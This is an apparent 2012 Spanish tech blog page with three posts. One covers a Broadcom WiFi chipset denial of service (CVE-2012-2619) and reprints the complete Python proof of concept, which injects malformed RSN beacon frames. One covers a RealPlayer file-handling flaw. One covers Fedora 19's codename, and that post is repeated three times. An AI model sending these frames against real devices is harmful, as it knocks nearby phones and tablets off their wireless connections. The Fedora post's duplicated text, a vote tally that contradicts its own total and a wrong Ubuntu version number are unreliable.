domingo, 18 de noviembre de 2012

Denegación de servicio a multitud de Smartphones via WiFi


Se ha publicado una vulnerabilidad presente en determinados Chipset de la firma Broadcom, en especial los modelos BCM4325/29 integrados en multitud de dispositivos inalámbricos como smartphones, tablets e incluso vehículos (como el Ford Edge).

El fallo permitiría realizar una denegación de servicio al módulo inalámbrico e incluso la revelación de información sensible según los propios investigadores. El fallo podría reproducirse atacando directamente al módulo WiFi independientemente del sistema operativo presente en el dispositivo.

La vulnerabilidad (CVE-2012-2619) reportada por el laboratorio de CoreLabs (Core Security Technologies) fue descubierta por el investigador argentino Andrés Blanco, del que hizo pública demostración durante la pasada Ekoparty en Buenos Aires, Argentina. Su compañero Matias Eissler desarrolló la prueba de concepto totalmente funcional.

Mediante estudios de ingeniería inversa consiguieron comprender la estructura del firmware de los dispositivos Broadcom, hallando la forma de alterar el tráfico WiFi (normativa IEEE 802.11) de tal manera que afectara a dichos dispositivos inalámbricos, a través del envío de tramas RSN (IEEE 802.11i, WPA/WPA2) especialmente manipuladas.

El protocolo RSN (Robust Security Network) interviene en la negociación y establecimiento del tipo de autenticación y cifrado utilizado durante una sesión WPA/WPA2.

En coordinación con los investigadores y el US-CERT, Broadcom facilitó a los diferentes fabricantes (Apple, HTC, Motorola, Sony, Nokia, Samsung...) un nuevo firmware que impide la vulnerabilidad para
integrarlo en sus dispositivos, por lo que se da como subsanada.

Los dispositivos afectados con el chipset BCM4325:
Apple iPhone 3GS
Apple iPod 2G
HTC Touch Pro 2
HTC Droid Incredible
Samsung Spica
Acer Liquid
Motorola Devour
Vehículo Ford Edge

Dispositivos afectados con el chipset BCM4329:
Apple iPhone 4
Apple iPhone 4 Verizon
Apple iPod 3G
Apple iPad Wi-Fi
Apple iPad 3G
Apple iPad 2
Apple Tv 2G
Motorola Xoom
Motorola Droid X2
Motorola Atrix
Samsung Galaxy Tab
Samsung Galaxy S 4G
Samsung Nexus S
Samsung Stratosphere
Samsung Fascinate
HTC Nexus One
HTC Evo 4G
HTC ThunderBolt
HTC Droid Incredible 2
LG Revolution
Sony Ericsson Xperia Play
Pantech Breakout
Nokia Lumina 800
Kyocera Echo
Asus Transformer Prime
Malata ZPad

Y la prueba de concepto realizada por Matias Eissler:

Código:
- ------------------------- poc.py -------------------------
#!/usr/bin/env python

import sys
import time
import struct
import PyLorcon2

def beaconFrameGenerator():
sequence = 0
while(1):
sequence = sequence % 4096

# Frame Control
frame = '\x80' # Version: 0 - Type: Managment - Subtype: Beacon
frame += '\x00' # Flags: 0
frame += '\x00\x00' # Duration: 0
frame += '\xff\xff\xff\xff\xff\xff' # Destination: ff:ff:ff:ff:ff:ff
frame += '\x00\x00\x00\x15\xde\xad' # Source: 00:00:00:15:de:ad
frame += '\x00\x00\x00\x15\xde\xad' # BSSID: 00:00:00:15:de:ad
frame += struct.pack('H', sequence) # Fragment: 0 - Sequenence:
part of the generator
# Frame Body
frame += struct.pack('Q', time.time()) # Timestamp
frame += '\x64\x00' # Beacon Interval: 0.102400 seconds
frame += '\x11\x04' # Capability Information: ESS, Privacy,
Short Slot time
# Information Elements
# SSID: buggy
frame += '\x00\x05buggy'
# Supported Rates: 1,2,5.5,11,18,24,36,54
frame += '\x01\x08\x82\x84\x8b\x96\x24\x30\x48\x6c'
# DS Parameter Set: 6
frame += '\x03\x01\x06'
# RSN IE
frame += '\x30' # ID: 48
frame += '\x14' # Size: 20
frame += '\x01\x00' # Version: 1
frame += '\x00\x0f\xac\x04' # Group cipher suite: TKIP
frame += '\x01\x00' # Pairwise cipher suite count: 1
frame += '\x00\x0f\xac\x00' # Pairwise cipher suite 1: TKIP
frame += '\xff\xff' # Authentication suites count: 65535
frame += '\x00\x0f\xac\x02' # Pairwise authentication suite 2: PSK
frame += '\x00\x00'

sequence += 1
yield frame

if __name__ == "__main__":
if len(sys.argv) != 2:
print "Usage:"
print "\t%s <wireless interface>" % sys.argv[0]
sys.exit(-1)

iface = sys.argv[1]
context = PyLorcon2.Context(iface)
context.open_injmon()

generator = beaconFrameGenerator()

for i in range(10000):
frame = generator.next()
time.sleep(0.100)
context.send_bytes(frame)
  
Más información:

VU#160027: Broadcom BCM4325 and BCM4329 wireless chipset denial-of-service vulnerability
US-CERT Vulnerability Note VU#160027 - Broadcom BCM4325 and BCM4329 wireless chipset denial-of-service vulnerability

Broadcom DoS on BCM4325 and BCM4329 devices
Core Security Technologies

One firmware to monitor 'em all
Corelabs site

Ejecución remota de código en RealPlayer


Se ha publicado una vulnerabilidad en la última versión de RealPlayer que podría permitir ejecutar código arbitrario si se abre un fichero especialmente manipulado.

RealPlayer es un reproductor multimedia de la empresa RealNetworks capaz de reproducir multitud de formatos de audio y vídeo como MP3, MP4, WMA, WAV, AAC, AVI, MOV, WMV, 3GP y RM.

La vulnerabilidad que afecta a RealPlayer está causada por un error al procesar ficheros .3GP y .3G2 que podría causar un desbordamiento de memoria y permitir la escritura en zonas en las que no se dispone de
acceso. Aprovechando este error un atacante remoto podría lograr la ejecución de código arbitrario con los permisos del usuario que lanza el reproductor multimedia. La víctima debería reproducir un fichero de vídeo especialmente manipulado para poder reproducir la vulnerabilidad.

La vulnerabilidad ha sido reportada por eEye Digital Security, y afecta a la versión actual de RealPlayer, la 15.0.6.14.

Existe una prueba de concepto publicada por 'coolkaveh', en forma de fichero .3G2, que provoca una corrupción de memoria y posterior cierre del reproductor.

Más información:

RealPlayer 3GP/3G2 File Handling Memory Corruption
Zero-Day Tracker 2012 | eEye Digital Security

El “Gato de Schrodinger” es el nombre de Fedora 19



Muchas veces hemos escuchado que los proyectos de cómputo tienen nombres extraños y en ocasiones hasta bizarros. Por ejemplo, Turbo Pascal para Windows, de Borland, tenía como nombre clave “Delphi” y finalmente, éste fue el nombre que se quedó. Así, solamente con el cambio de nombre podíamos decir que sabíamos un nuevo lenguaje de programación, aunque estuviésemos hablando de Pascal, ese viejo amigo. Otro ejemplo es Ubuntu, que su versión 12.17 se llamará Quantal Quetzal.

Con esto en mente, Fedora decidió hacer una especie de consulta en el mundo geek, para ver cómo se llamaría su siguiente versión de su distribución de Linux. Esto es interesante porque fuera del nombre que haya sido elegido, puede dar una idea de lo que pasa en la mente de estos personajes llamados programadores.

Así, Fedora ha decidido que la siguiente versión, la 19, se llamará “el gato de Schrodinger”. Cabe decir que la versión anterior tenía un nombre quizás más extraño: “Vaca esférica”. Esto viene de la física teórica y es en realidad una broma geek: “Tengo una fórmula para mejorar la producción de leche pero solamente trabaja bien con una vaca esférica en el vacío”.

El gato de Schrodinger es otro tema de la física cuántica. De acuerdo a la Wikipedia, Erwin Schrodinger plantea un sistema que se encuentra formado por una caja cerrada y opaca que contiene un gato en su interior, una botella de gas venenoso y un dispositivo, el cual contiene una partícula radiactiva con una probabilidad del 50% de desintegrarse en un tiempo dado, de manera que si la partícula se desintegra, el veneno se libera y el gato muere.

Al terminar el tiempo establecido, hay una probabilidad del 50% de que el dispositivo se haya activado y el gato esté muerto, y la misma probabilidad de que el dispositivo no se haya activado y el gato esté vivo. Según los principios de la mecánica cuántica, la descripción correcta del sistema en ese momento (su función de onda) será el resultado de la superposición de los estados “vivo” y “muerto” (a su vez descritos por su función de onda). Sin embargo, una vez abramos la caja para comprobar el estado del gato, éste estará vivo o muerto (que es cuando se colapsa precisamente la función de onda, que a todo esto es una expresión matemática sin asidero en la física, como lo es, por ejemplo, la ecuación de la segunda ley de Newton).

Ahí radica la paradoja. Mientras que en la descripción clásica del sistema el gato estará vivo o muerto antes de que abramos la caja y comprobemos su estado, en la mecánica cuántica el sistema se encuentra en una superposición de los estados posibles hasta que interviene el observador. El paso de una superposición de estados a un estado definido se produce como consecuencia del proceso de medida, y no puede predecirse el estado final del sistema: sólo la probabilidad de obtener cada resultado. La naturaleza del proceso sigue siendo una incógnita, que ha dado lugar a distintas interpretaciones de carácter especulativo.

Así, las votaciones para elegir el nombre de la siguiente versión de Fedora fueron de la siguiente manera:


Un total de 3128 votos

    Votos ::  Nombre
    ——————————————–
    1876  ::  Gato de Schrodinger
    1620  ::  Bosón de Higgs
    1012  ::  Tiddalik
    960   ::  Monstruo de Loch Ness (lago Ness)
    907   ::  Dinámica newtoniana
    892   ::  Blueberries marcianas
    722   ::  Potasio parabólico
    595   ::  Becerro cúbico


Sí, muchos nombres basados en la ciencia y pocas sugerencias sociales. La lista completa puede verse aquí.
Muchas veces hemos escuchado que los proyectos de cómputo tienen nombres extraños y en ocasiones hasta bizarros. Por ejemplo, Turbo Pascal para Windows, de Borland, tenía como nombre clave “Delphi” y finalmente, éste fue el nombre que se quedó. Así, solamente con el cambio de nombre podíamos decir que sabíamos un nuevo lenguaje de programación, aunque estuviésemos hablando de Pascal, ese viejo amigo. Otro ejemplo es Ubuntu, que su versión 12.17 se llamará Quantal Quetzal.
Con esto en mente, Fedora decidió hacer una especie de consulta en el mundo geek, para ver cómo se llamaría su siguiente versión de su distribución de Linux. Esto es interesante porque fuera del nombre que haya sido elegido, puede dar una idea de lo que pasa en la mente de estos personajes llamados programadores.
Así, Fedora ha decidido que la siguiente versión, la 19, se llamará “el gato de Schrodinger”. Cabe decir que la versión anterior tenía un nombre quizás más extraño: “Vaca esférica”. Esto viene de la física teórica y es en realidad una broma geek: “Tengo una fórmula para mejorar la producción de leche pero solamente trabaja bien con una vaca esférica en el vacío”.
El gato de Schrodinger es otro tema de la física cuántica. De acuerdo a la Wikipedia, Erwin Schrodinger plantea un sistema que se encuentra formado por una caja cerrada y opaca que contiene un gato en su interior, una botella de gas venenoso y un dispositivo, el cual contiene una partícula radiactiva con una probabilidad del 50% de desintegrarse en un tiempo dado, de manera que si la partícula se desintegra, el veneno se libera y el gato muere.
Al terminar el tiempo establecido, hay una probabilidad del 50% de que el dispositivo se haya activado y el gato esté muerto, y la misma probabilidad de que el dispositivo no se haya activado y el gato esté vivo. Según los principios de la mecánica cuántica, la descripción correcta del sistema en ese momento (su función de onda) será el resultado de la superposición de los estados “vivo” y “muerto” (a su vez descritos por su función de onda). Sin embargo, una vez abramos la caja para comprobar el estado del gato, éste estará vivo o muerto (que es cuando se colapsa precisamente la función de onda, que a todo esto es una expresión matemática sin asidero en la física, como lo es, por ejemplo, la ecuación de la segunda ley de Newton).
Ahí radica la paradoja. Mientras que en la descripción clásica del sistema el gato estará vivo o muerto antes de que abramos la caja y comprobemos su estado, en la mecánica cuántica el sistema se encuentra en una superposición de los estados posibles hasta que interviene el observador. El paso de una superposición de estados a un estado definido se produce como consecuencia del proceso de medida, y no puede predecirse el estado final del sistema: sólo la probabilidad de obtener cada resultado. La naturaleza del proceso sigue siendo una incógnita, que ha dado lugar a distintas interpretaciones de carácter especulativo.
Muchas veces hemos escuchado que los proyectos de cómputo tienen nombres extraños y en ocasiones hasta bizarros. Por ejemplo, Turbo Pascal para Windows, de Borland, tenía como nombre clave “Delphi” y finalmente, éste fue el nombre que se quedó. Así, solamente con el cambio de nombre podíamos decir que sabíamos un nuevo lenguaje de programación, aunque estuviésemos hablando de Pascal, ese viejo amigo. Otro ejemplo es Ubuntu, que su versión 12.17 se llamará Quantal Quetzal.
Con esto en mente, Fedora decidió hacer una especie de consulta en el mundo geek, para ver cómo se llamaría su siguiente versión de su distribución de Linux. Esto es interesante porque fuera del nombre que haya sido elegido, puede dar una idea de lo que pasa en la mente de estos personajes llamados programadores.
Así, Fedora ha decidido que la siguiente versión, la 19, se llamará “el gato de Schrodinger”. Cabe decir que la versión anterior tenía un nombre quizás más extraño: “Vaca esférica”. Esto viene de la física teórica y es en realidad una broma geek: “Tengo una fórmula para mejorar la producción de leche pero solamente trabaja bien con una vaca esférica en el vacío”.
El gato de Schrodinger es otro tema de la física cuántica. De acuerdo a la Wikipedia, Erwin Schrodinger plantea un sistema que se encuentra formado por una caja cerrada y opaca que contiene un gato en su interior, una botella de gas venenoso y un dispositivo, el cual contiene una partícula radiactiva con una probabilidad del 50% de desintegrarse en un tiempo dado, de manera que si la partícula se desintegra, el veneno se libera y el gato muere.
Al terminar el tiempo establecido, hay una probabilidad del 50% de que el dispositivo se haya activado y el gato esté muerto, y la misma probabilidad de que el dispositivo no se haya activado y el gato esté vivo. Según los principios de la mecánica cuántica, la descripción correcta del sistema en ese momento (su función de onda) será el resultado de la superposición de los estados “vivo” y “muerto” (a su vez descritos por su función de onda). Sin embargo, una vez abramos la caja para comprobar el estado del gato, éste estará vivo o muerto (que es cuando se colapsa precisamente la función de onda, que a todo esto es una expresión matemática sin asidero en la física, como lo es, por ejemplo, la ecuación de la segunda ley de Newton).
Ahí radica la paradoja. Mientras que en la descripción clásica del sistema el gato estará vivo o muerto antes de que abramos la caja y comprobemos su estado, en la mecánica cuántica el sistema se encuentra en una superposición de los estados posibles hasta que interviene el observador. El paso de una superposición de estados a un estado definido se produce como consecuencia del proceso de medida, y no puede predecirse el estado final del sistema: sólo la probabilidad de obtener cada resultado. La naturaleza del proceso sigue siendo una incógnita, que ha dado lugar a distintas interpretaciones de carácter especulativo.